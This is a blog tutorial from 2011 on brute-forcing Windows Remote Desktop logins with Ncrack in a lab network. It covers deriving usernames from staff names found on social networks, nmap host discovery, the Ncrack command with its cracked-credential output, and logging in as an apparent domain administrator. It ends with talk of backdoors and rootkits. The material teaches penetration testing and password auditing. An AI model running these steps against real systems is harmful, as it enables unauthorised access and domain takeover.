05.12
The Remote Desktop Protocol is often underestimated as a possible way to break into a system during a penetration test. Other services, such SSH and VNC are more likely to be targeted and exploited using a remote brute-force password guessing attack. For example, let’s suppose that we are in the middle of a penetration testing session at the “MEGACORP” offices and we already tried all the available remote attacks with no luck. We tried also to ARP poisoning the LAN looking to get user names and passwords, without succeeding. From a previus nmap scan log we found a few Windows machines with the RDP port open and we decided to investigate further this possibility. First of all we need some valid usernames in order to guess only the passwords rather than both. We found the names of the IT guys on varius social networking websites. Those are the key IT staff:
jessie tagle
julio feagins
hugh duchene
darmella martis
lakisha mcquain
ted restrepo
kelly missildine
Didn’t take long to create valid usernames following the common standard of using the first letter of the name and the entire surname.
jtagle
jfeagins
hduchene
dmartis
lmcquain
trestrepo
kmissildine
Software required:
Linux machine, preferably Ubuntu.
nmap and terminal server client, sudo apt-get install tsclient nmap build-essential checkinstall libssl-dev libssh-dev
About Ncrack
Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s and many more. Protocols supported include RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, and telnet .http://nmap.org/ncrack/
Installation
wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz mkdir /usr/local/share/ncrack tar -xzf ncrack-0.4ALPHA.tar.gz cd ncrack-0.4ALPHA ./configure make checkinstall dpkg -i ncrack_0.4ALPHA-1_i386.deb [/pre] <strong>Information gathering</strong> Let’s find out what hosts in a network are up, and save them to a text list. The regular expression will parse and extract only the ip addresses from the scan. Nmap ping scan, go no further than determining if host is online
nmap -sP 192.168.56.0/24 | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' > 192.168.56.0.txtNmap fast scan with input from list of hosts/networks
nmap -F -iL 192.168.56.0.txt Starting Nmap 5.21 ( http://nmap.org ) at 2011-04-10 13:15 CEST Nmap scan report for 192.168.56.10 Host is up (0.0017s latency). Not shown: 91 closed ports PORT STATE SERVICE 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1028/tcp open unknown 3389/tcp open ms-term-serv MAC Address: 08:00:27:09:F5:22 (Cadmus Computer Systems) Nmap scan report for 192.168.56.101 Host is up (0.014s latency). Not shown: 96 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-term-serv MAC Address: 08:00:27:C1:5D:4E (Cadmus Computer Systems) Nmap done: 55 IP addresses (55 hosts up) scanned in 98.41 seconds
From the log we can see two machines with the microsoft terminal service port (3389) open, looking more in depth to the services available on the machine 192.168.56.10 we can assume that this machine might be the domain controller, and it’s worth trying
to pwn it.
At this point we need to create a file (my.usr) with the probable usernames previously gathered.
We need also a file (my.pwd) for the password, you can look on the internet for common passwords and wordlists.
At this point we run Ncrack against the 192.168.56.10 machine.
ncrack -vv -U my.usr -P my.pwd 192.168.56.10:3389,CL=1 Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-10 17:24 CEST Discovered credentials on rdp://192.168.56.10:3389 'hduchene' 'passw0rd' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'jfeagins' 'blahblah' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'jtagle' '12345678' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'kmissildine' 'iloveyou' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'trestrepo' 'trustno1' rdp://192.168.56.10:3389 finished. Discovered credentials for rdp on 192.168.56.10 3389/tcp: 192.168.56.10 3389/tcp rdp: 'hduchene' 'passw0rd' 192.168.56.10 3389/tcp rdp: 'jfeagins' 'blahblah' 192.168.56.10 3389/tcp rdp: 'jtagle' '12345678' 192.168.56.10 3389/tcp rdp: 'kmissildine' 'iloveyou' 192.168.56.10 3389/tcp rdp: 'trestrepo' 'trustno1' Ncrack done: 1 service scanned in 98.00 seconds. Probes sent: 51 | timed-out: 0 | prematurely-closed: 0 Ncrack finished.
We can see from the Ncrack results that all the user names gathered are valid, and also we were able to crack the login credential since they were using some weak passwords. Four of the IT staff have some kind of restrictions on the machine, except hduchene that might be the domain administrator, let’s find out.
Run the terminal server client from the Linux box
tsclient 192.168.56.10 use Hugh Duchene credential ‘hduchene’ ‘passw0rd’ and BINGO !!!
At this point we have the control of the entire MEGACORP domain, unlimited access to all the corporate resources related to the domain. We can add users, escalate privileges of existing users, browse over the protected network resources, install backdoors and root-kits, and more and more.
Final remarks.
For the penetration testers: don’t give up at first hurdle, there’s always another way to break in 
.
For the IT staff: Lack of password policy enforcing complexity and strength lead to a disaster.
[source: http://bailey.st/blog/2011/05/12/remote-desktop-credentials-auditing-with-ncrack/]
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